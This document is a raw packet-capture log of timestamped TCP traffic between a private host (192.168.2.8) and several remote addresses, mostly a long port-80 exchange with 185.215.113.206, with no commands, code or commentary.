Nov 26, 2024 08:03:50.258883953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.259778976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.259854078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.259943962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.260010004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.261173010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.261225939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.261236906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.261286020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.262182951 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.262252092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.262307882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.262367964 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.262773037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.262860060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.262911081 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.264117002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.264202118 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.264206886 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.264249086 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.264372110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.264430046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.264451027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.264480114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.265083075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.265151978 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.265211105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.265259981 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.266036034 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.266092062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.266129017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.266207933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.266859055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.266936064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.266964912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.267034054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.268762112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.268816948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.268826008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.268883944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.269082069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.269131899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.269162893 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.269279957 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.269582987 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.269773006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.269809961 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.270488977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.270615101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.270678043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.271362066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.271498919 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.271559000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.272325993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.272378922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.272429943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.272528887 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.273171902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.273261070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.273310900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.273564100 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.274111032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.274282932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.274322987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.275122881 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.275379896 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.309171915 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.332165003 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.332186937 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.333209038 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.333276987 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.334743023 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.334796906 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.348504066 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:50.349118948 CET	49815	443	192.168.2.8	20.110.205.119
Nov 26, 2024 08:03:50.349154949 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:50.349524975 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:50.352735043 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.353296995 CET	49815	443	192.168.2.8	20.110.205.119
Nov 26, 2024 08:03:50.353369951 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:50.353513002 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.353538036 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.353692055 CET	49815	443	192.168.2.8	20.110.205.119
Nov 26, 2024 08:03:50.354563951 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.354617119 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.355123043 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.355175972 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.372855902 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.373051882 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:50.373119116 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.373503923 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.374337912 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:50.374397993 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.374511003 CET	49814	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:50.378110886 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.378118992 CET	443	49817	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.380853891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.380966902 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.380975008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.381051064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.381378889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.381411076 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.381501913 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.381618977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.382217884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.382293940 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.382394075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.382435083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.383275986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.383368969 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.383369923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.383415937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.384192944 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.384202003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.384236097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.384879112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.384922981 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.384959936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.385138988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.385792971 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.385827065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.385835886 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.385981083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.386749029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.386789083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.386827946 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.386908054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.387643099 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.387726068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.387780905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.387834072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.388617039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.388644934 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.388662100 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.388699055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.389480114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.389565945 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.389569044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.389628887 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.390337944 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.390357971 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.390384912 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.391201019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.391264915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.391268015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.391365051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.392098904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.392149925 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.392151117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.392206907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.393007040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.393053055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.393090963 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.393932104 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.393970966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.394006968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.394798040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.394809008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.394829988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.394917965 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.395320892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.395703077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.395776987 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.395781994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.395806074 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.396617889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.396770954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.396806955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.397501945 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.397566080 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.397613049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.397782087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.398422956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.398504972 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.398535967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.398843050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.399307013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.399322033 CET	443	49815	20.110.205.119	192.168.2.8
Nov 26, 2024 08:03:50.399348021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.399413109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.399449110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.400208950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.400316000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.400408030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.401106119 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.401148081 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.401213884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.401338100 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.402040958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.402137041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.402165890 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.402168036 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.402190924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.402193069 CET	443	49816	23.44.201.4	192.168.2.8
Nov 26, 2024 08:03:50.402913094 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.402952909 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.403031111 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.403079987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.403831959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.403866053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.403995037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.404138088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.404752016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.404844046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.404860020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.404880047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.405627966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.405723095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.405754089 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.405802965 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.406564951 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.406650066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.406651020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.406693935 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.407432079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.407545090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.407592058 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.407613039 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.408340931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.408415079 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.408443928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.408499956 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.415349007 CET	443	49814	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.435388088 CET	49817	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.446865082 CET	49816	443	192.168.2.8	23.44.201.4
Nov 26, 2024 08:03:50.466188908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.466279984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.466326952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.466615915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.466675997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.466713905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.466890097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.467556000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.467608929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.467617989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.467638016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.468372107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.468413115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.468485117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.468645096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.469369888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.469418049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.469453096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.470146894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.470194101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.470288038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.470359087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.471071005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.471133947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.471164942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.471193075 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.471971035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.472016096 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.472079992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.472086906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.472944021 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.472997904 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.473031044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.473059893 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.473764896 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.473901033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.473943949 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.474662066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.474714994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.474766970 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.474875927 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.475569010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.475599051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.475672960 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.475703955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.476475000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.476510048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.506150961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.506211042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.506337881 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.506378889 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.506617069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.506653070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.506669044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.506696939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.507546902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.507608891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.507639885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.507669926 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.508500099 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.508533955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.508558035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.508586884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.509380102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.509417057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.509440899 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.509469032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.510209084 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.510288000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.510317087 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.510345936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.510675907 CET	443	49813	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.511113882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.511142969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.511157990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.511185884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.512027979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.512079000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.512119055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.512150049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.512897015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.512955904 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.512957096 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.512985945 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.513505936 CET	443	49813	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.513556004 CET	49813	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:50.513816118 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.513856888 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.513919115 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.513943911 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.514703989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.514753103 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.514883041 CET	49813	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:50.514888048 CET	443	49813	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:50.591397047 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.591464043 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.591511011 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.591859102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.591922045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.592004061 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.592035055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.592736006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.592786074 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.592787027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.592814922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.593703032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.593723059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.593746901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.593763113 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.594522953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.594688892 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.594728947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:50.595498085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.595511913 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:50.595560074 CET	49747	80	192.168.2.8	185.215.113.206
